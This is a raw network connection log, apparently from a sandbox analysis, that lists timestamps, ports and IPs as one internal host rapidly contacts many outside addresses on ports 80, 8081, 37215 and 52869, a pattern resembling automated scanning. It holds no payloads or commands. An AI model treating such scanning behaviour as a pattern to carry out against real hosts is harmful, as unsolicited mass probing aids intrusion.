Jul 20, 2024 23:10:39.788547993 CEST	52869	40676	217.115.151.81	192.168.2.15
Jul 20, 2024 23:10:39.788638115 CEST	41408	52869	192.168.2.15	217.115.151.81
Jul 20, 2024 23:10:39.789191008 CEST	52869	42446	222.31.20.54	192.168.2.15
Jul 20, 2024 23:10:39.789207935 CEST	80	58660	88.168.180.193	192.168.2.15
Jul 20, 2024 23:10:39.789220095 CEST	8081	33196	105.84.133.237	192.168.2.15
Jul 20, 2024 23:10:39.790370941 CEST	80	55556	88.62.42.254	192.168.2.15
Jul 20, 2024 23:10:39.790432930 CEST	55556	80	192.168.2.15	88.62.42.254
Jul 20, 2024 23:10:39.790797949 CEST	37215	52806	157.236.94.127	192.168.2.15
Jul 20, 2024 23:10:39.790848970 CEST	52806	37215	192.168.2.15	157.236.94.127
Jul 20, 2024 23:10:39.792253971 CEST	8081	37738	18.172.107.182	192.168.2.15
Jul 20, 2024 23:10:39.792423010 CEST	49734	80	192.168.2.15	88.232.161.110
Jul 20, 2024 23:10:39.792886019 CEST	58940	8081	192.168.2.15	107.127.227.178
Jul 20, 2024 23:10:39.792886019 CEST	58940	8081	192.168.2.15	107.127.227.178
Jul 20, 2024 23:10:39.793330908 CEST	8081	46420	50.145.203.85	192.168.2.15
Jul 20, 2024 23:10:39.793482065 CEST	46876	37215	192.168.2.15	175.251.123.186
Jul 20, 2024 23:10:39.793517113 CEST	80	38284	88.220.255.177	192.168.2.15
Jul 20, 2024 23:10:39.793529987 CEST	80	48638	88.232.161.110	192.168.2.15
Jul 20, 2024 23:10:39.793905020 CEST	8081	38708	18.172.107.182	192.168.2.15
Jul 20, 2024 23:10:39.793952942 CEST	38708	8081	192.168.2.15	18.172.107.182
Jul 20, 2024 23:10:39.794050932 CEST	52869	41408	217.115.151.81	192.168.2.15
Jul 20, 2024 23:10:39.794091940 CEST	41408	52869	192.168.2.15	217.115.151.81
Jul 20, 2024 23:10:39.795665979 CEST	80	52888	88.195.216.232	192.168.2.15
Jul 20, 2024 23:10:39.797306061 CEST	80	50252	88.212.206.87	192.168.2.15
Jul 20, 2024 23:10:39.797321081 CEST	52869	42632	102.181.59.60	192.168.2.15
Jul 20, 2024 23:10:39.797549963 CEST	80	49734	88.232.161.110	192.168.2.15
Jul 20, 2024 23:10:39.797596931 CEST	49734	80	192.168.2.15	88.232.161.110
Jul 20, 2024 23:10:39.797713041 CEST	52888	80	192.168.2.15	88.195.216.232
Jul 20, 2024 23:10:39.797818899 CEST	36408	80	192.168.2.15	88.204.80.174
Jul 20, 2024 23:10:39.797818899 CEST	36408	80	192.168.2.15	88.204.80.174
Jul 20, 2024 23:10:39.798018932 CEST	8081	58940	107.127.227.178	192.168.2.15
Jul 20, 2024 23:10:39.798199892 CEST	59910	8081	192.168.2.15	107.127.227.178
Jul 20, 2024 23:10:39.798748016 CEST	42266	52869	192.168.2.15	8.126.91.237
Jul 20, 2024 23:10:39.798748016 CEST	42266	52869	192.168.2.15	8.126.91.237
Jul 20, 2024 23:10:39.799084902 CEST	37215	46876	175.251.123.186	192.168.2.15
Jul 20, 2024 23:10:39.799134970 CEST	46876	37215	192.168.2.15	175.251.123.186
Jul 20, 2024 23:10:39.801279068 CEST	8081	46710	57.7.150.109	192.168.2.15
Jul 20, 2024 23:10:39.802213907 CEST	37502	80	192.168.2.15	88.204.80.174
Jul 20, 2024 23:10:39.802462101 CEST	47002	8081	192.168.2.15	23.165.201.101
Jul 20, 2024 23:10:39.802462101 CEST	47002	8081	192.168.2.15	23.165.201.101
Jul 20, 2024 23:10:39.803453922 CEST	38168	37215	192.168.2.15	81.7.136.58
Jul 20, 2024 23:10:39.803488970 CEST	80	36408	88.204.80.174	192.168.2.15
Jul 20, 2024 23:10:39.804146051 CEST	8081	59910	107.127.227.178	192.168.2.15
Jul 20, 2024 23:10:39.804227114 CEST	59910	8081	192.168.2.15	107.127.227.178
Jul 20, 2024 23:10:39.804235935 CEST	52869	42266	8.126.91.237	192.168.2.15
Jul 20, 2024 23:10:39.804625988 CEST	47970	8081	192.168.2.15	23.165.201.101
Jul 20, 2024 23:10:39.804785013 CEST	43008	52869	192.168.2.15	8.126.91.237
Jul 20, 2024 23:10:39.805710077 CEST	50452	80	192.168.2.15	88.207.212.134
Jul 20, 2024 23:10:39.805710077 CEST	50452	80	192.168.2.15	88.207.212.134
Jul 20, 2024 23:10:39.806283951 CEST	8081	45398	191.229.1.158	192.168.2.15
Jul 20, 2024 23:10:39.806755066 CEST	80	52316	88.10.201.81	192.168.2.15
Jul 20, 2024 23:10:39.807539940 CEST	38674	8081	192.168.2.15	39.240.154.144
Jul 20, 2024 23:10:39.807539940 CEST	38674	8081	192.168.2.15	39.240.154.144
Jul 20, 2024 23:10:39.808238983 CEST	80	37502	88.204.80.174	192.168.2.15
Jul 20, 2024 23:10:39.808288097 CEST	37502	80	192.168.2.15	88.204.80.174
Jul 20, 2024 23:10:39.808604956 CEST	8081	47002	23.165.201.101	192.168.2.15
Jul 20, 2024 23:10:39.808891058 CEST	51546	80	192.168.2.15	88.207.212.134
Jul 20, 2024 23:10:39.809156895 CEST	37215	38168	81.7.136.58	192.168.2.15
Jul 20, 2024 23:10:39.809587955 CEST	38168	37215	192.168.2.15	81.7.136.58
Jul 20, 2024 23:10:39.810311079 CEST	37594	37215	192.168.2.15	197.30.201.248
Jul 20, 2024 23:10:39.810467005 CEST	8081	47970	23.165.201.101	192.168.2.15
Jul 20, 2024 23:10:39.810512066 CEST	47970	8081	192.168.2.15	23.165.201.101
Jul 20, 2024 23:10:39.810801029 CEST	52869	43008	8.126.91.237	192.168.2.15
Jul 20, 2024 23:10:39.810815096 CEST	80	50452	88.207.212.134	192.168.2.15
Jul 20, 2024 23:10:39.810839891 CEST	43008	52869	192.168.2.15	8.126.91.237
Jul 20, 2024 23:10:39.811770916 CEST	39642	8081	192.168.2.15	39.240.154.144
Jul 20, 2024 23:10:39.812131882 CEST	41042	52869	192.168.2.15	189.209.128.109
Jul 20, 2024 23:10:39.812131882 CEST	41042	52869	192.168.2.15	189.209.128.109
Jul 20, 2024 23:10:39.812457085 CEST	8081	38674	39.240.154.144	192.168.2.15
Jul 20, 2024 23:10:39.813138962 CEST	59678	80	192.168.2.15	88.148.109.126
Jul 20, 2024 23:10:39.813138962 CEST	59678	80	192.168.2.15	88.148.109.126
Jul 20, 2024 23:10:39.813167095 CEST	52869	49320	14.134.150.109	192.168.2.15
Jul 20, 2024 23:10:39.814801931 CEST	80	51546	88.207.212.134	192.168.2.15
Jul 20, 2024 23:10:39.814842939 CEST	51546	80	192.168.2.15	88.207.212.134
Jul 20, 2024 23:10:39.815670967 CEST	37215	37594	197.30.201.248	192.168.2.15
Jul 20, 2024 23:10:39.815712929 CEST	37594	37215	192.168.2.15	197.30.201.248
Jul 20, 2024 23:10:39.816061020 CEST	37296	8081	192.168.2.15	99.223.164.124
Jul 20, 2024 23:10:39.816061020 CEST	37296	8081	192.168.2.15	99.223.164.124
Jul 20, 2024 23:10:39.817075968 CEST	8081	39642	39.240.154.144	192.168.2.15
Jul 20, 2024 23:10:39.817127943 CEST	39642	8081	192.168.2.15	39.240.154.144
Jul 20, 2024 23:10:39.817194939 CEST	8081	60896	170.239.24.67	192.168.2.15
Jul 20, 2024 23:10:39.817789078 CEST	52869	41042	189.209.128.109	192.168.2.15
Jul 20, 2024 23:10:39.818233013 CEST	60770	80	192.168.2.15	88.148.109.126
Jul 20, 2024 23:10:39.818720102 CEST	80	59678	88.148.109.126	192.168.2.15
Jul 20, 2024 23:10:39.818753958 CEST	38262	8081	192.168.2.15	99.223.164.124
Jul 20, 2024 23:10:39.818944931 CEST	41794	52869	192.168.2.15	189.209.128.109
Jul 20, 2024 23:10:39.819514990 CEST	39050	37215	192.168.2.15	53.208.221.28
Jul 20, 2024 23:10:39.820945024 CEST	8081	37296	99.223.164.124	192.168.2.15
Jul 20, 2024 23:10:39.823398113 CEST	80	60770	88.148.109.126	192.168.2.15
Jul 20, 2024 23:10:39.823585033 CEST	60770	80	192.168.2.15	88.148.109.126
Jul 20, 2024 23:10:39.824209929 CEST	8081	38262	99.223.164.124	192.168.2.15
Jul 20, 2024 23:10:39.824239969 CEST	44328	80	192.168.2.15	88.176.0.47
Jul 20, 2024 23:10:39.824239969 CEST	44328	80	192.168.2.15	88.176.0.47
Jul 20, 2024 23:10:39.824264050 CEST	38262	8081	192.168.2.15	99.223.164.124
Jul 20, 2024 23:10:39.824434996 CEST	52869	41794	189.209.128.109	192.168.2.15
Jul 20, 2024 23:10:39.824449062 CEST	37215	39050	53.208.221.28	192.168.2.15
Jul 20, 2024 23:10:39.824470997 CEST	41794	52869	192.168.2.15	189.209.128.109
Jul 20, 2024 23:10:39.824780941 CEST	54084	8081	192.168.2.15	162.48.242.129
Jul 20, 2024 23:10:39.824780941 CEST	54084	8081	192.168.2.15	162.48.242.129
Jul 20, 2024 23:10:39.824943066 CEST	39050	37215	192.168.2.15	53.208.221.28
Jul 20, 2024 23:10:39.825531006 CEST	8081	35570	206.153.77.196	192.168.2.15
Jul 20, 2024 23:10:39.827378988 CEST	45422	80	192.168.2.15	88.176.0.47
Jul 20, 2024 23:10:39.828175068 CEST	55050	8081	192.168.2.15	162.48.242.129
Jul 20, 2024 23:10:39.828524113 CEST	46618	52869	192.168.2.15	1.160.86.11
Jul 20, 2024 23:10:39.828524113 CEST	46618	52869	192.168.2.15	1.160.86.11
Jul 20, 2024 23:10:39.828608990 CEST	33838	37215	192.168.2.15	157.176.210.11
Jul 20, 2024 23:10:39.829423904 CEST	52869	40676	217.115.151.81	192.168.2.15
Jul 20, 2024 23:10:39.829442024 CEST	80	54460	88.62.42.254	192.168.2.15
Jul 20, 2024 23:10:39.830173016 CEST	8081	54084	162.48.242.129	192.168.2.15
Jul 20, 2024 23:10:39.830755949 CEST	80	44328	88.176.0.47	192.168.2.15
Jul 20, 2024 23:10:39.831465960 CEST	52362	80	192.168.2.15	88.225.148.212
Jul 20, 2024 23:10:39.831465960 CEST	52362	80	192.168.2.15	88.225.148.212
Jul 20, 2024 23:10:39.831644058 CEST	40178	8081	192.168.2.15	114.162.118.100
Jul 20, 2024 23:10:39.831644058 CEST	40178	8081	192.168.2.15	114.162.118.100
Jul 20, 2024 23:10:39.833239079 CEST	8081	37738	18.172.107.182	192.168.2.15
Jul 20, 2024 23:10:39.833525896 CEST	80	45422	88.176.0.47	192.168.2.15
Jul 20, 2024 23:10:39.833574057 CEST	45422	80	192.168.2.15	88.176.0.47
Jul 20, 2024 23:10:39.833940983 CEST	8081	55050	162.48.242.129	192.168.2.15
Jul 20, 2024 23:10:39.833981991 CEST	52869	46618	1.160.86.11	192.168.2.15
Jul 20, 2024 23:10:39.833992004 CEST	55050	8081	192.168.2.15	162.48.242.129
Jul 20, 2024 23:10:39.834028006 CEST	41140	8081	192.168.2.15	114.162.118.100
Jul 20, 2024 23:10:39.834218979 CEST	47378	52869	192.168.2.15	1.160.86.11
Jul 20, 2024 23:10:39.834664106 CEST	37215	33838	157.176.210.11	192.168.2.15
Jul 20, 2024 23:10:39.834707975 CEST	33838	37215	192.168.2.15	157.176.210.11
Jul 20, 2024 23:10:39.834960938 CEST	53458	80	192.168.2.15	88.225.148.212
Jul 20, 2024 23:10:39.835720062 CEST	45842	37215	192.168.2.15	41.30.145.239
Jul 20, 2024 23:10:39.836519003 CEST	80	52362	88.225.148.212	192.168.2.15
Jul 20, 2024 23:10:39.837013960 CEST	8081	40178	114.162.118.100	192.168.2.15
Jul 20, 2024 23:10:39.837621927 CEST	60504	8081	192.168.2.15	59.46.78.137
Jul 20, 2024 23:10:39.837621927 CEST	60504	8081	192.168.2.15	59.46.78.137
Jul 20, 2024 23:10:39.838828087 CEST	58638	80	192.168.2.15	88.173.192.134
Jul 20, 2024 23:10:39.838828087 CEST	58638	80	192.168.2.15	88.173.192.134
Jul 20, 2024 23:10:39.839768887 CEST	52869	47378	1.160.86.11	192.168.2.15
Jul 20, 2024 23:10:39.839850903 CEST	47378	52869	192.168.2.15	1.160.86.11
Jul 20, 2024 23:10:39.840095997 CEST	8081	41140	114.162.118.100	192.168.2.15
Jul 20, 2024 23:10:39.840132952 CEST	41140	8081	192.168.2.15	114.162.118.100
Jul 20, 2024 23:10:39.840678930 CEST	80	53458	88.225.148.212	192.168.2.15
Jul 20, 2024 23:10:39.840727091 CEST	53458	80	192.168.2.15	88.225.148.212
Jul 20, 2024 23:10:39.841078997 CEST	33234	8081	192.168.2.15	59.46.78.137
Jul 20, 2024 23:10:39.841151953 CEST	80	48638	88.232.161.110	192.168.2.15
Jul 20, 2024 23:10:39.841294050 CEST	37215	45842	41.30.145.239	192.168.2.15
Jul 20, 2024 23:10:39.841311932 CEST	45616	52869	192.168.2.15	223.10.231.163
Jul 20, 2024 23:10:39.841311932 CEST	45616	52869	192.168.2.15	223.10.231.163
Jul 20, 2024 23:10:39.841342926 CEST	45842	37215	192.168.2.15	41.30.145.239
Jul 20, 2024 23:10:39.841433048 CEST	8081	58940	107.127.227.178	192.168.2.15
Jul 20, 2024 23:10:39.842150927 CEST	59732	80	192.168.2.15	88.173.192.134
Jul 20, 2024 23:10:39.842652082 CEST	8081	60504	59.46.78.137	192.168.2.15
Jul 20, 2024 23:10:39.843441963 CEST	52910	37215	192.168.2.15	197.205.160.99
Jul 20, 2024 23:10:39.844604015 CEST	80	58638	88.173.192.134	192.168.2.15
Jul 20, 2024 23:10:39.845374107 CEST	52869	42266	8.126.91.237	192.168.2.15
Jul 20, 2024 23:10:39.845607042 CEST	80	36408	88.204.80.174	192.168.2.15
Jul 20, 2024 23:10:39.845654011 CEST	35922	8081	192.168.2.15	66.46.202.106
Jul 20, 2024 23:10:39.845654011 CEST	35922	8081	192.168.2.15	66.46.202.106
Jul 20, 2024 23:10:39.846278906 CEST	8081	33234	59.46.78.137	192.168.2.15
Jul 20, 2024 23:10:39.846592903 CEST	33234	8081	192.168.2.15	59.46.78.137
Jul 20, 2024 23:10:39.846752882 CEST	52869	45616	223.10.231.163	192.168.2.15
Jul 20, 2024 23:10:39.847316027 CEST	80	59732	88.173.192.134	192.168.2.15
Jul 20, 2024 23:10:39.847359896 CEST	59732	80	192.168.2.15	88.173.192.134
Jul 20, 2024 23:10:39.847465038 CEST	37124	80	192.168.2.15	88.3.103.96
Jul 20, 2024 23:10:39.847465992 CEST	37124	80	192.168.2.15	88.3.103.96
Jul 20, 2024 23:10:39.847794056 CEST	36882	8081	192.168.2.15	66.46.202.106
Jul 20, 2024 23:10:39.848069906 CEST	46384	52869	192.168.2.15	223.10.231.163
Jul 20, 2024 23:10:39.849302053 CEST	8081	47002	23.165.201.101	192.168.2.15
Jul 20, 2024 23:10:39.849723101 CEST	37215	52910	197.205.160.99	192.168.2.15
Jul 20, 2024 23:10:39.849802971 CEST	52910	37215	192.168.2.15	197.205.160.99
Jul 20, 2024 23:10:39.851262093 CEST	38218	80	192.168.2.15	88.3.103.96
Jul 20, 2024 23:10:39.852327108 CEST	58642	8081	192.168.2.15	131.100.82.185
Jul 20, 2024 23:10:39.852327108 CEST	58642	8081	192.168.2.15	131.100.82.185
Jul 20, 2024 23:10:39.853022099 CEST	52060	37215	192.168.2.15	157.83.157.193
Jul 20, 2024 23:10:39.853614092 CEST	8081	38674	39.240.154.144	192.168.2.15
Jul 20, 2024 23:10:39.853662968 CEST	80	50452	88.207.212.134	192.168.2.15
Jul 20, 2024 23:10:39.855151892 CEST	8081	35922	66.46.202.106	192.168.2.15
Jul 20, 2024 23:10:39.856446981 CEST	59602	8081	192.168.2.15	131.100.82.185
Jul 20, 2024 23:10:39.856476068 CEST	45140	80	192.168.2.15	88.179.172.15
Jul 20, 2024 23:10:39.856476068 CEST	45140	80	192.168.2.15	88.179.172.15
Jul 20, 2024 23:10:39.856707096 CEST	45686	52869	192.168.2.15	18.50.207.232
Jul 20, 2024 23:10:39.857110977 CEST	45686	52869	192.168.2.15	18.50.207.232
Jul 20, 2024 23:10:39.858669043 CEST	80	37124	88.3.103.96	192.168.2.15
Jul 20, 2024 23:10:39.859704971 CEST	8081	36882	66.46.202.106	192.168.2.15
Jul 20, 2024 23:10:39.859745979 CEST	36882	8081	192.168.2.15	66.46.202.106
Jul 20, 2024 23:10:39.859899044 CEST	52869	46384	223.10.231.163	192.168.2.15
Jul 20, 2024 23:10:39.859950066 CEST	46384	52869	192.168.2.15	223.10.231.163
Jul 20, 2024 23:10:39.860846043 CEST	80	38218	88.3.103.96	192.168.2.15
Jul 20, 2024 23:10:39.860896111 CEST	38218	80	192.168.2.15	88.3.103.96
Jul 20, 2024 23:10:39.860912085 CEST	8081	58642	131.100.82.185	192.168.2.15
Jul 20, 2024 23:10:39.860927105 CEST	37215	52060	157.83.157.193	192.168.2.15
Jul 20, 2024 23:10:39.860927105 CEST	46232	80	192.168.2.15	88.179.172.15
Jul 20, 2024 23:10:39.861155033 CEST	52060	37215	192.168.2.15	157.83.157.193
Jul 20, 2024 23:10:39.861191988 CEST	80	59678	88.148.109.126	192.168.2.15
Jul 20, 2024 23:10:39.861360073 CEST	52869	41042	189.209.128.109	192.168.2.15
Jul 20, 2024 23:10:39.861936092 CEST	47990	8081	192.168.2.15	139.207.225.210
Jul 20, 2024 23:10:39.861936092 CEST	47990	8081	192.168.2.15	139.207.225.210
Jul 20, 2024 23:10:39.861980915 CEST	34744	37215	192.168.2.15	41.160.166.27
Jul 20, 2024 23:10:39.862214088 CEST	8081	59602	131.100.82.185	192.168.2.15
Jul 20, 2024 23:10:39.862263918 CEST	59602	8081	192.168.2.15	131.100.82.185
Jul 20, 2024 23:10:39.862669945 CEST	52869	45686	18.50.207.232	192.168.2.15
Jul 20, 2024 23:10:39.863084078 CEST	48948	8081	192.168.2.15	139.207.225.210
Jul 20, 2024 23:10:39.863418102 CEST	46464	52869	192.168.2.15	18.50.207.232
Jul 20, 2024 23:10:39.864305019 CEST	34456	80	192.168.2.15	88.184.156.23
Jul 20, 2024 23:10:39.864305019 CEST	34456	80	192.168.2.15	88.184.156.23
Jul 20, 2024 23:10:39.865283012 CEST	80	45140	88.179.172.15	192.168.2.15
Jul 20, 2024 23:10:39.865297079 CEST	8081	37296	99.223.164.124	192.168.2.15
Jul 20, 2024 23:10:39.867057085 CEST	55532	8081	192.168.2.15	97.242.235.89
Jul 20, 2024 23:10:39.867057085 CEST	55532	8081	192.168.2.15	97.242.235.89
Jul 20, 2024 23:10:39.867777109 CEST	80	46232	88.179.172.15	192.168.2.15
Jul 20, 2024 23:10:39.867795944 CEST	8081	47990	139.207.225.210	192.168.2.15
Jul 20, 2024 23:10:39.867809057 CEST	37215	34744	41.160.166.27	192.168.2.15
Jul 20, 2024 23:10:39.867830992 CEST	46232	80	192.168.2.15	88.179.172.15
Jul 20, 2024 23:10:39.867860079 CEST	34744	37215	192.168.2.15	41.160.166.27
Jul 20, 2024 23:10:39.868154049 CEST	35548	80	192.168.2.15	88.184.156.23
Jul 20, 2024 23:10:39.868582010 CEST	8081	48948	139.207.225.210	192.168.2.15
Jul 20, 2024 23:10:39.868621111 CEST	48948	8081	192.168.2.15	139.207.225.210
Jul 20, 2024 23:10:39.868874073 CEST	48610	37215	192.168.2.15	41.89.36.24
Jul 20, 2024 23:10:39.869246960 CEST	52869	46464	18.50.207.232	192.168.2.15
Jul 20, 2024 23:10:39.869518042 CEST	80	34456	88.184.156.23	192.168.2.15
Jul 20, 2024 23:10:39.869668961 CEST	46464	52869	192.168.2.15	18.50.207.232
Jul 20, 2024 23:10:39.870490074 CEST	56490	8081	192.168.2.15	97.242.235.89
Jul 20, 2024 23:10:39.870767117 CEST	39006	52869	192.168.2.15	120.127.21.138
Jul 20, 2024 23:10:39.870768070 CEST	39006	52869	192.168.2.15	120.127.21.138
Jul 20, 2024 23:10:39.872478008 CEST	56008	80	192.168.2.15	88.109.79.184
Jul 20, 2024 23:10:39.872478008 CEST	56008	80	192.168.2.15	88.109.79.184
Jul 20, 2024 23:10:39.872549057 CEST	8081	55532	97.242.235.89	192.168.2.15
Jul 20, 2024 23:10:39.873259068 CEST	80	44328	88.176.0.47	192.168.2.15
Jul 20, 2024 23:10:39.873318911 CEST	8081	54084	162.48.242.129	192.168.2.15
Jul 20, 2024 23:10:39.873828888 CEST	80	35548	88.184.156.23	192.168.2.15
Jul 20, 2024 23:10:39.873878956 CEST	35548	80	192.168.2.15	88.184.156.23
Jul 20, 2024 23:10:39.874814034 CEST	37215	48610	41.89.36.24	192.168.2.15
Jul 20, 2024 23:10:39.874865055 CEST	48610	37215	192.168.2.15	41.89.36.24
Jul 20, 2024 23:10:39.874922991 CEST	40276	8081	192.168.2.15	54.87.78.53
Jul 20, 2024 23:10:39.874922991 CEST	40276	8081	192.168.2.15	54.87.78.53
Jul 20, 2024 23:10:39.875672102 CEST	8081	56490	97.242.235.89	192.168.2.15
Jul 20, 2024 23:10:39.875724077 CEST	56490	8081	192.168.2.15	97.242.235.89
Jul 20, 2024 23:10:39.875969887 CEST	52869	39006	120.127.21.138	192.168.2.15
Jul 20, 2024 23:10:39.876771927 CEST	57098	80	192.168.2.15	88.109.79.184
Jul 20, 2024 23:10:39.877230883 CEST	41232	8081	192.168.2.15	54.87.78.53
Jul 20, 2024 23:10:39.877298117 CEST	8081	40178	114.162.118.100	192.168.2.15
Jul 20, 2024 23:10:39.877310991 CEST	80	52362	88.225.148.212	192.168.2.15
Jul 20, 2024 23:10:39.877324104 CEST	52869	46618	1.160.86.11	192.168.2.15
Jul 20, 2024 23:10:39.877914906 CEST	39790	52869	192.168.2.15	120.127.21.138
Jul 20, 2024 23:10:39.878113031 CEST	55578	37215	192.168.2.15	14.66.203.138
Jul 20, 2024 23:10:39.878248930 CEST	80	56008	88.109.79.184	192.168.2.15
Jul 20, 2024 23:10:39.881647110 CEST	8081	40276	54.87.78.53	192.168.2.15
Jul 20, 2024 23:10:39.882436991 CEST	44074	80	192.168.2.15	88.110.66.57
Jul 20, 2024 23:10:39.882436991 CEST	44074	80	192.168.2.15	88.110.66.57
Jul 20, 2024 23:10:39.882643938 CEST	80	57098	88.109.79.184	192.168.2.15
Jul 20, 2024 23:10:39.882713079 CEST	52846	8081	192.168.2.15	9.112.0.108
Jul 20, 2024 23:10:39.882713079 CEST	52846	8081	192.168.2.15	9.112.0.108
Jul 20, 2024 23:10:39.882719994 CEST	57098	80	192.168.2.15	88.109.79.184
Jul 20, 2024 23:10:39.882911921 CEST	8081	41232	54.87.78.53	192.168.2.15
Jul 20, 2024 23:10:39.883179903 CEST	52869	39790	120.127.21.138	192.168.2.15
Jul 20, 2024 23:10:39.883213043 CEST	39790	52869	192.168.2.15	120.127.21.138
Jul 20, 2024 23:10:39.883236885 CEST	41232	8081	192.168.2.15	54.87.78.53
Jul 20, 2024 23:10:39.883624077 CEST	37215	55578	14.66.203.138	192.168.2.15
Jul 20, 2024 23:10:39.883868933 CEST	55578	37215	192.168.2.15	14.66.203.138
Jul 20, 2024 23:10:39.885307074 CEST	80	58638	88.173.192.134	192.168.2.15
Jul 20, 2024 23:10:39.885499001 CEST	8081	60504	59.46.78.137	192.168.2.15
Jul 20, 2024 23:10:39.887890100 CEST	80	44074	88.110.66.57	192.168.2.15
Jul 20, 2024 23:10:39.888037920 CEST	45164	80	192.168.2.15	88.110.66.57
Jul 20, 2024 23:10:39.888108969 CEST	8081	52846	9.112.0.108	192.168.2.15
Jul 20, 2024 23:10:39.888849020 CEST	53802	8081	192.168.2.15	9.112.0.108
Jul 20, 2024 23:10:39.889234066 CEST	52869	45616	223.10.231.163	192.168.2.15
Jul 20, 2024 23:10:39.889708996 CEST	54014	52869	192.168.2.15	116.118.210.76
Jul 20, 2024 23:10:39.889708996 CEST	54014	52869	192.168.2.15	116.118.210.76
Jul 20, 2024 23:10:39.889780998 CEST	46756	37215	192.168.2.15	41.233.79.117
Jul 20, 2024 23:10:39.893594027 CEST	80	45164	88.110.66.57	192.168.2.15
Jul 20, 2024 23:10:39.893649101 CEST	45164	80	192.168.2.15	88.110.66.57
Jul 20, 2024 23:10:39.894146919 CEST	8081	53802	9.112.0.108	192.168.2.15
Jul 20, 2024 23:10:39.894310951 CEST	38346	80	192.168.2.15	88.110.50.174
Jul 20, 2024 23:10:39.894310951 CEST	38346	80	192.168.2.15	88.110.50.174
Jul 20, 2024 23:10:39.894310951 CEST	53802	8081	192.168.2.15	9.112.0.108
Jul 20, 2024 23:10:39.894742966 CEST	41650	8081	192.168.2.15	144.250.77.69
Jul 20, 2024 23:10:39.894742966 CEST	41650	8081	192.168.2.15	144.250.77.69
Jul 20, 2024 23:10:39.895595074 CEST	52869	54014	116.118.210.76	192.168.2.15
Jul 20, 2024 23:10:39.896450043 CEST	37215	46756	41.233.79.117	192.168.2.15
Jul 20, 2024 23:10:39.896538973 CEST	46756	37215	192.168.2.15	41.233.79.117
Jul 20, 2024 23:10:39.897207975 CEST	8081	35922	66.46.202.106	192.168.2.15
Jul 20, 2024 23:10:39.898896933 CEST	42602	8081	192.168.2.15	144.250.77.69
Jul 20, 2024 23:10:39.899018049 CEST	54806	52869	192.168.2.15	116.118.210.76
Jul 20, 2024 23:10:39.899812937 CEST	39440	80	192.168.2.15	88.110.50.174
Jul 20, 2024 23:10:39.900085926 CEST	80	38346	88.110.50.174	192.168.2.15
Jul 20, 2024 23:10:39.900317907 CEST	8081	41650	144.250.77.69	192.168.2.15
Jul 20, 2024 23:10:39.900635958 CEST	43004	37215	192.168.2.15	65.120.250.13
Jul 20, 2024 23:10:39.901204109 CEST	8081	58642	131.100.82.185	192.168.2.15
Jul 20, 2024 23:10:39.901262999 CEST	80	37124	88.3.103.96	192.168.2.15
Jul 20, 2024 23:10:39.904409885 CEST	8081	42602	144.250.77.69	192.168.2.15
Jul 20, 2024 23:10:39.904464960 CEST	42602	8081	192.168.2.15	144.250.77.69
Jul 20, 2024 23:10:39.904755116 CEST	42224	8081	192.168.2.15	213.200.213.234
Jul 20, 2024 23:10:39.904755116 CEST	42224	8081	192.168.2.15	213.200.213.234
Jul 20, 2024 23:10:39.905065060 CEST	52869	54806	116.118.210.76	192.168.2.15
Jul 20, 2024 23:10:39.905109882 CEST	54806	52869	192.168.2.15	116.118.210.76
Jul 20, 2024 23:10:39.905221939 CEST	80	45140	88.179.172.15	192.168.2.15
Jul 20, 2024 23:10:39.905348063 CEST	52869	45686	18.50.207.232	192.168.2.15
Jul 20, 2024 23:10:39.905488968 CEST	80	39440	88.110.50.174	192.168.2.15
Jul 20, 2024 23:10:39.905539036 CEST	39440	80	192.168.2.15	88.110.50.174
Jul 20, 2024 23:10:39.906032085 CEST	37215	43004	65.120.250.13	192.168.2.15
Jul 20, 2024 23:10:39.906076908 CEST	43004	37215	192.168.2.15	65.120.250.13
Jul 20, 2024 23:10:39.906740904 CEST	36054	80	192.168.2.15	88.8.102.154
Jul 20, 2024 23:10:39.906740904 CEST	36054	80	192.168.2.15	88.8.102.154
Jul 20, 2024 23:10:39.909231901 CEST	8081	47990	139.207.225.210	192.168.2.15
Jul 20, 2024 23:10:39.910542965 CEST	8081	42224	213.200.213.234	192.168.2.15
Jul 20, 2024 23:10:39.911895990 CEST	80	36054	88.8.102.154	192.168.2.15
Jul 20, 2024 23:10:39.912513971 CEST	43176	8081	192.168.2.15	213.200.213.234
Jul 20, 2024 23:10:39.912760973 CEST	43734	52869	192.168.2.15	203.39.100.182
Jul 20, 2024 23:10:39.912760973 CEST	43734	52869	192.168.2.15	203.39.100.182
Jul 20, 2024 23:10:39.913171053 CEST	80	34456	88.184.156.23	192.168.2.15
Jul 20, 2024 23:10:39.913374901 CEST	8081	55532	97.242.235.89	192.168.2.15
Jul 20, 2024 23:10:39.914773941 CEST	37146	80	192.168.2.15	88.8.102.154
Jul 20, 2024 23:10:39.915887117 CEST	47994	37215	192.168.2.15	41.210.197.36
Jul 20, 2024 23:10:39.917363882 CEST	52869	39006	120.127.21.138	192.168.2.15
Jul 20, 2024 23:10:39.917973042 CEST	8081	43176	213.200.213.234	192.168.2.15
Jul 20, 2024 23:10:39.918009996 CEST	55136	8081	192.168.2.15	130.64.237.83
Jul 20, 2024 23:10:39.918009996 CEST	55136	8081	192.168.2.15	130.64.237.83
Jul 20, 2024 23:10:39.918009996 CEST	43176	8081	192.168.2.15	213.200.213.234
Jul 20, 2024 23:10:39.918231964 CEST	52869	43734	203.39.100.182	192.168.2.15
Jul 20, 2024 23:10:39.920109987 CEST	37358	80	192.168.2.15	88.206.157.252
Jul 20, 2024 23:10:39.920109987 CEST	37358	80	192.168.2.15	88.206.157.252
Jul 20, 2024 23:10:39.920453072 CEST	56086	8081	192.168.2.15	130.64.237.83
Jul 20, 2024 23:10:39.920527935 CEST	80	37146	88.8.102.154	192.168.2.15
Jul 20, 2024 23:10:39.920584917 CEST	37146	80	192.168.2.15	88.8.102.154
Jul 20, 2024 23:10:39.920636892 CEST	44534	52869	192.168.2.15	203.39.100.182
Jul 20, 2024 23:10:39.921206951 CEST	80	56008	88.109.79.184	192.168.2.15
Jul 20, 2024 23:10:39.921267986 CEST	37215	47994	41.210.197.36	192.168.2.15
Jul 20, 2024 23:10:39.921391964 CEST	47994	37215	192.168.2.15	41.210.197.36
Jul 20, 2024 23:10:39.923255920 CEST	8081	55136	130.64.237.83	192.168.2.15
Jul 20, 2024 23:10:39.924746990 CEST	38450	80	192.168.2.15	88.206.157.252
Jul 20, 2024 23:10:39.925074100 CEST	80	37358	88.206.157.252	192.168.2.15
Jul 20, 2024 23:10:39.925182104 CEST	8081	40276	54.87.78.53	192.168.2.15
Jul 20, 2024 23:10:39.925492048 CEST	8081	56086	130.64.237.83	192.168.2.15
Jul 20, 2024 23:10:39.925530910 CEST	56086	8081	192.168.2.15	130.64.237.83
